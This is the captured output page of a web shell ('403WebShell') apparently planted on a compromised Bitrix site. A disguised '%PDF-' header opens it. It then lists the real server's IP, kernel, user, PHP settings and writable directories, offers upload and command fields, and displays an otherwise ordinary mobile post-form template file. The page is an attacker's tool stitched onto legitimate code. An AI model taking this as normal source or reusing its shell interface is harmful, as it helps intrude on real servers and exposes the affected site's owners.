%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.135.202.122
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/main.post.form/templates/mobile_app/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/main.post.form/templates/mobile_app/template.php
<?if (!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true)die();

Bitrix\Main\UI\Extension::load('mobile.utils');

//\Bitrix\Main\Page\Asset::getInstance()->addJs($templateFolder."/script.js");
//$arParams["FORM_ID"] =
//$arParams["NAME_TEMPLATE"]
/**
 * @var array $arParams
 * @var CMain $APPLICATION
 */
foreach ($arParams["UPLOADS"] as $v)
{
	if (
		is_array($v)
		&& isset($v["USER_TYPE_ID"])
		&& in_array($v["USER_TYPE_ID"], array("file", "disk_file"))
	)
	{
		$arParams["UPLOADS_CID"][$v["USER_TYPE_ID"].$v["ID"]] = array(
			"ID" => $v["ID"],
			"USER_TYPE_ID" => $v["USER_TYPE_ID"],
			"FIELD_NAME" => $v["FIELD_NAME"],
			"VALUE" => $v["VALUE"],
			"MULTIPLE" => $v["MULTIPLE"],
			"MANDATORY" => $v["MANDATORY"],
			"TAG" => $v["USER_TYPE"]["TAG"]
		);
	}
}

?>
<script>
	BX.message({
		MPFFileWasNotUploaded : '<?=GetMessageJS('MPF_FILE_WAS_NOT_UPLOADED')?>',
		MPFIncorrectResponse : '<?=GetMessageJS('MPF_INCORRECT_RESPONSE')?>',
		MPFPlaceholder : '<?=GetMessageJS("MPF_PLACEHOLDER")?>',
		MPFTakeAPhoto : '<?=GetMessageJS("MPF_PHOTO_CAMERA")?>',
		MPFSelectFromTheGallery : '<?=GetMessageJS("MPF_PHOTO_GALLERY")?>',
		MPFButtonSend : '<?=GetMessageJS("MPF_SEND")?>',
		MPFButtonCancel : '<?=GetMessageJs("MPF_CANCEL")?>',
		MPFPostFormDisk: '<?=GetMessageJS("MOBILE_LOG_POST_FORM_DISK")?>',
		MPFPostFormDiskTitle: '<?=GetMessageJS("MOBILE_LOG_POST_FORM_DISK_TITLE")?>',
		MPFPostFormPhotoGallery : '<?=GetMessageJS("MOBILE_LOG_POST_FORM_PHOTO_GALLERY")?>',
		MPFPostFormPhotoCamera : '<?=GetMessageJS("MOBILE_LOG_POST_FORM_PHOTO_CAMERA")?>',
		SITE_DIR : '<?=SITE_DIR?>'
	});
	BX.ready(function() {
		var f = function() {
			BX.MPF.createInstance(<?=CUtil::PhpToJSObject(array(
				"formId" => $arParams["FORM_ID"],
				"text" => array_change_key_case($arParams["TEXT"], CASE_LOWER),
				"CID" => $arParams["UPLOADS_CID"],
				"forumContext" => (!empty($arParams["FORUM_CONTEXT"]) ? $arParams["FORUM_CONTEXT"] : '')
			))?>);
			BX.removeCustomEvent(window, "main.post.form/mobile", f);
		};
		BX.addCustomEvent(window, "main.post.form/mobile", f);
		if (BX["MPF"])
			f();
		else
			BX.loadScript('<?=\CUtil::GetAdditionalFileURL($templateFolder.'/script.js', true)?>');
	});
</script>

Youez - 2016 - github.com/yon3zu
LinuXploit